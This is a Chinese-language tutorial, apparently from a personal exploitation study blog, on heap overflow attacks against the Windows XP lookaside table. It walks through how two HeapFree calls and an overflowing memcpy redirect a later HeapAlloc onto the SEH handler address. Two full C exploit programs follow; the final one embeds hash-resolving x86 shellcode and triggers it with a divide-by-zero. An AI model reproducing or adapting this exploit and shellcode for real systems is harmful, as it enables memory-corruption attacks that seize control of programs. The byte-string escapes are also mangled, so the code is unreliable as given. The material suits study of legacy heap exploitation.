块表 也就是 lookaside表!!!!!!
这种方法 很难
条件:
1 memcpy 赋值
2 使用块表 有HeapAlloc 和 HeapFree后还有赋值等
3 两次 赋值
总的来说 这个知识点很重要 XP 下还可以
先构造如下:
后面发现 将 SEH handler 设置为 0x0012ffe4 更好些!!!!!!!!!!
#include <stdio.h> #include <windows.h> char shellcode []= "xEBx40x90x90x90x90x90x90x90x90x90x90x90x90x90x90"//填充 "x03 0x03x00x5Cx01x08x99"//填充 "xE4xFFx12x00"//用默认异常处理函数指针所在位置覆盖 ; void main() { HLOCAL h1,h2,h3; HANDLE hp; hp = HeapCreate(0,0,0); __asm int 3 h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); HeapFree(hp,0,h3); HeapFree(hp,0,h2); memcpy(h1,shellcode,300); h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); memcpy(h3,"x90x1Ex39x00",4); int zero=0; zero=1/zero; printf("%d",zero); }
第一次释放之后 块表区被修改了lookaside[2] 指向 被释放的块h3 块首中的下一堆块指针(因为我们先释放的h3)
经过两次释放之后 块表区被修改了lookaside[2] 指向 被释放的块h2 块首中的下一堆块指针
接下来看看 快表的堆块:
接下来开始赋值shellcode ··············
追寻 下一个 申请空间函数 进入 发现 将 lookaside[2] 的下一块首地址 赋值为了我们构造的 SEH handler 0x0012ffe4
(也就是 lookaside[2] 地址的值指向的值 再赋值到 lookaside[2] 地址上来)
只要向这个刚申请的空间中写入 shellcode就可以覆盖 SEH handler 接着
接着到达下面
注意这里的eax即为申请的内存地址······· 而这个地址恰恰就是 两次HeapFree之后的lookaside[2]的地址指向的值
接着
(也就是 lookaside[2] 地址的值指向的值 再赋值到 lookaside[2] 地址上来)
注意这里申请的地址 为 上一次 lookaside[2]的地址指向的值 也就是我们特殊构造的 SEH handler 地址 往这个地址赋值旧改变 异常处理流程了
最后往里面 赋值 003A1E90
触发异常后 eb 40 是我们特殊构造的 这里的值不会被程序覆盖掉
最终代码:
#include <stdio.h> #include <windows.h> char shellcode []= "xEBx40x90x90x90x90x90x90x90x90x90x90x90x90x90x90"//填充 "x03 0x03x00x5Cx01x08x99"//填充 "xb4xFFx12x00"//用默认异常处理函数指针所在位置覆盖 //根据实际情况调整 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"//填充 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"//填充 "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"//填充 "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C" "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53" "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B" "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95" "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59" "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A" "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75" "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03" "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB" "x53" "x68x64x61x30x23" "x68x23x50x61x6E" "x8BxC4x53x50x50x53xFFx57xFCx53xFFx57xF8"; void main() { HLOCAL h1,h2,h3; HANDLE hp; hp = HeapCreate(0,0,0); //__asm int 3 h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); HeapFree(hp,0,h3); HeapFree(hp,0,h2); memcpy(h1,shellcode,300); h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); memcpy(h3,"x90x1Ex3ax00",4);//根据实际情况调整 int zero=0; zero=1/zero; printf("%d",zero); }